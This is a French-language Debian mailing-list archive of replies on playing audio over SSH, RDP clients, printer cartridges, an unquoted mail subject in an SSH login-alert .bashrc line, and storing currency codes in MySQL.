Par contre, quand je me connecte a un serveur en sftp en mode graphique,
par exemple pour mettre a jour mon site web, le contenu du serveur est
vu comme n'importe quel autre dossier. Je peux double-cliquer sur un
fichier audio, ou vidéo, ou PDF, il s'ouvre sur mon ordi comme si il
était sur mon disque dur. Sans étape de copie préalable.

Re: Écouter un fichier .wav par SSH

[Erwann Le Bras]

bonjour

c'est la VM qui héberge les fichiers audio?

des idées en vrac

-partager un répertoire par SSHFS me semble une bonne idée et très 
simple à mettre en place. Faut monter/démonter à chaque fois. Un script 
qui enchaîne le tout en automatique peut rendre la solution plaisante


-activerun petit serveur upnp activé au démarrage est déjà plus rigolo 
mais peut-être un peu lourd pour un seul client


- programmer vlc-nox pour streamer les fichiers audios au démarrage a ma 
préférence : ça fait webradio personnelle et flatte le barbu qui 
sommeille en nous


Erwann

Le 09/04/2020 à 08:17, Olivier a écrit :

Bonjour,

J'ai une une machine virtuelle KVM invitée sur mon réseau local.
L'OS de cette VM est Debian Buster

Quand je  me connecte à la machine "par la console VMM" et je tape la 
commande "aplay foobar.wav", j'entends le contenu du fichier sur mon 
propre PC (aplay du paquet alsa-utils)


Quand je me connecte par SSH à la même machine et je tape la commande 
"aplay foobar.wav",je n'entends.


Quand je tape sur mon PC "ssh foo@bar 'cat foobar.wav' | aplay" , 
j'entends le contenu du fichier.


J'ai essayé sans succès "DISPLAY=:0 aplay foobar.wav" (re-copiée 
bêtement de [1]), je n'entends rien.


Pour la beauté du geste, quelqu'un a-t-il une solution ?

[1] 
https://superuser.com/questions/823904/play-sound-on-remote-machine-via-ssh-on-ubuntu-linux


Slts

Re: Linux Microsoft Remote Desktop et Workspace

[Erwann Le Bras]

ah oui, le groupe "Remote Desktop users"
Faudra que je réessaye

Le 09/04/2020 à 13:37, Eric Degenetais a écrit :

Bonjour,
c'est étrange, je m'en sers au quotidien pour le travail. Le truc qui 
ne s'invente pas (mais il y a les mêmes contraintes avec le client rdp 
de Windows) c'est le droit à donner au compte utilisateur qu'on 
utilise pour se connecter (droit d'ouvrir une session à distance).



Éric Dégenètais

Le jeu. 9 avr. 2020 10:17, Erwann Le Bras <mailto:erwann.le-b...@laposte.net>> a écrit :


bonjour

Je l'ai essayé pour prendre la main sur un poste W10 depuis Debian.

Jamais réussi à faire marcher ce truc :(

Le 08/04/2020 à 02:49, Ludovic a écrit :
> Bonjour David,
>
>     rdesktop [1] est un client RDP qui pourrait répondre à ton
besoin.
>
> [1] https://packages.debian.org/buster/rdesktop
>
> Ludovic
>

Re: Linux Microsoft Remote Desktop et Workspace

[Erwann Le Bras]

bonjour

Je l'ai essayé pour prendre la main sur un poste W10 depuis Debian.

Jamais réussi à faire marcher ce truc :(

Le 08/04/2020 à 02:49, Ludovic a écrit :

Bonjour David,

    rdesktop [1] est un client RDP qui pourrait répondre à ton besoin.

[1] https://packages.debian.org/buster/rdesktop

Ludovic

Re: [HS] Informatique & corona :

[Erwann Le Bras]

Le 18/03/2020 à 11:31, Kohler Gerard a écrit :
antivirus alternatif : 10 mn de trempage dans une solution 
hydro-alcoolique standart,



pff! gaspiller du gel comme ça alors qu'on en manque tant

;)

Re: [HS] Où trouver des cartouches pour mon imprimante ?

[Erwann Le Bras]

bonjour

j'ai commandé des cartouches compatibles sur FranceToner.

je passe par eux pour ma vieille HP Photosmart C7280

jamais eu de pb avec eux.

portez-vous bien.

Le 19/03/2020 à 16:37, Jean-Marc a écrit :

salut la liste,

Avec les cours envoyés à domicile par l'école des enfants, l'imprimante chauffe 
un peu.

Et j'aimerai ne pas me retrouver à court d'encre.

Avez-vus un bon plan pour trouver des cartouches pour mon Epson WF-3640 ?

J'ai regardé sur le net mais c'est difficile de se faire une idée.

Entre les cartouches officielles qui coûtent un bras (voire deux) et les 
produits blancs à 2€, j'aimerai trouver un compromis à prix raisonnable et de 
bonne qualité.

Dernière précision : j'habite en Belgique.

Bonne fin de journée,

Jean-Marc 
https://6jf.be/keys/ED863AD1.txt

Re: Envoyer un mail suite à une connexion shell sur son serveur

[Erwann Le Bras]

bonsoir

je suppose que c'est la commande "mail"

il doit prendre comme sujet uniquement le premier item 'hostname' et les 
autres items sont considérés comme des destinataires locaux


protège tout le sujet et ça devrait passer comme attendu

Le 16/03/2020 à 13:05, G2PC a écrit :


Bonjour, j'ai mis en place la ligne suivante sur mon serveur web, dans 
le fichier .bashrc

Aucun soucis, le mail est bien envoyé.

# ALERTE MAIL SUITE A LA CONNEXION SSH
echo 'Accès Shell Serveur le ' `date` `who` | mail -s `hostname` Shell 
Serveur de `who | cut -d"(" -f2 | cut -d")" -f1` m...@domain.com


Par contre, quand le mail ne sortait pas, car les réglages de Exim4 
n'étaient pas encore aboutis, je recevais le mail en local, mais, avec 
5 destinataires moi, et 4 autres.
Ma question porte sur ce point, car, dans les messages non délivrés, 
je pouvais lire ceci :



# Des mails non transmis apparaissent dans la boîte relevée avec la 
commande mailx.

# Je ne sais pas d'où proviennent ces adresses :
*Shell*@vps123.vps.ovh.ca
 Unrouteable address
*Serveur*@vps123.vps.ovh.ca
 Unrouteable address
*de*@vps123.vps.ovh.ca
 Unrouteable address
*ip_de_ma_box_orange*@vps123.vps.ovh.ca
 Unrouteable address


Ma question est la suivante :
D'où proviennent ses 4 adresses ?
Sont t'elles des adresses standard liées au système ou un effet de 
bord de ma commande, car, nulle part je spécifie ses 4 adresses :
echo 'Accès Shell Serveur le ' `date` `who` | mail -s `hostname` Shell 
Serveur de `who | cut -d"(" -f2 | cut -d")" -f1` m...@domain.com


Je suis d'ailleurs également surpris de voir ce mail : 
*ip_de_ma_box_orange*@vps123.vps.ovh.ca
En effet, je ne vois pas du tout ce que vient faire l'ip de ma box 
dans l'envoie de ce mail, car, hormis avoir ajouté l'ip de ma box en 
liste blanche de ma connexion SSH, je ne l'utilise pas.


Je n'ai rien trouvé dans ma configuration EXIM4 qui puisse m'informer 
sur la provenance de ses 4 mails.


Pour ne pas recevoir cette alerte de mails non délivrés, j'ai 
renseigné les 4 adresses dans le fichier /etc/aliases
Par contre, je ne reçois que 1 seul fois le mail, ce qui est tant 
mieux, mais, étrange à la fois.


# Je rajoute les lignes suivantes dans le fichier aliases :
sudo nano /etc/aliases
# Noter que en cas de configuration séparée, les redirections peuvent 
également être ajoutées à cet endroit, plutôt que dans le fichier 
aliases par défaut :

sudo nano /etc/exim4/conf.d/rewrite/00_exim4-config_header

# Permet à mon alerte de connexion SSH dans .bashrc de ne pas être en 
erreur sur les 4 adresses suivantes.
# Avec l'ajout de ces lignes, je n'ai plus d'alerte de mail non 
délivré depuis mailx.

# Par contre je ne reçois qu'une seule fois le mail dans ma boîte mail.
Shell:m...@domain.com
Serveur:m...@domain.com
de:m...@domain.com
ip_de_ma_box_orange:m...@domain.com

Re: [1/2HS] Mysql et le symbole Euro €

[Erwann Le Bras]

Le 24/02/2020 à 11:18, ajh-valmer a écrit :

On Monday 24 February 2020 10:45:32 Erwann Le Bras wrote:

Tout-a-fait.
Il y a même deux écoles : soit tout est renseigné dans la même monnaie
dans la base et converti à l'utilisation, soit la devise est précisée
avec le montant. Dans ce cas on préfère utiliser le code ISO 4217 de la
monnaie (EUR pour Euro, USD pour Dollar US) plutôt qu'un code de
caractère (€, $) qui va varier selon l'encodage retenu.
Codes ISO 4217 : https://fr.wikipedia.org/wiki/ISO_4217,
https://www.iso.org/fr/iso-4217-currency-codes.html

C'est un champ qui n'a pas à être manipulé,
de type caractères "varchar", contenant un nombre, suivis d'un espace
et de  (soit p. ex. "20 ").
C'est lors de l'update du champ que les caractères 
se transforment en ce caractère : ¤   et pourquoi ?
Ce n'est pas un champ de type "INT" (integer, entier).

La table comporte un autre champ "montant" qui ne contient
qu'un nombre INT (p. ex. "20"), pour les manipulations (calculs).

Bonne journée.



Je pense sérieusement pour un problème d'encodage.

Mais je pense qu'à la base il ya un problème de définition du shéma de 
la base :
d'après ce que j'ai compris, il y a une table avec un montant au format 
"varchar" et le même montant au format "int"
il n'est pas bon d'avoir deux fois la même info stockée en base, l'info 
pouvant se désynchroniser entre les deux champs.

Re: [1/2HS] Mysql et le symbole Euro €

[Erwann Le Bras]

Le 09/02/2020 à 12:32, Jean-Michel OLTRA a écrit :

 Bonjour,


Le dimanche 09 février 2020, Erwann Le Bras a écrit...



on ne mets jamais l'unité dans une base de données...
on inscrit simplement les montants en base, c'est à la présentation des
données qu'on rajoute l'unité, ce qui permet de les manipuler comme on veut.

Tu peux la mettre dans une colonne à part, ou via un id dans une table
séparée. C'est quand même préférable de savoir dans quelle unité fut
enregistré ledit montant.


Tout-a-fait.

Il y a même deux écoles : soit tout est renseigné dans la même monnaie 
dans la base et converti à l'utilisation, soit la devise est précisée 
avec le montant. Dans ce cas on préfère utiliser le code ISO 4217 de la 
monnaie (EUR pour Euro, USD pour Dollar US) plutôt qu'un code de 
caractère (€, $) qui va varier selon l'encodage retenu.


Codes ISO 4217 : https://fr.wikipedia.org/wiki/ISO_4217, 
https://www.iso.org/fr/iso-4217-currency-codes.html


cordialement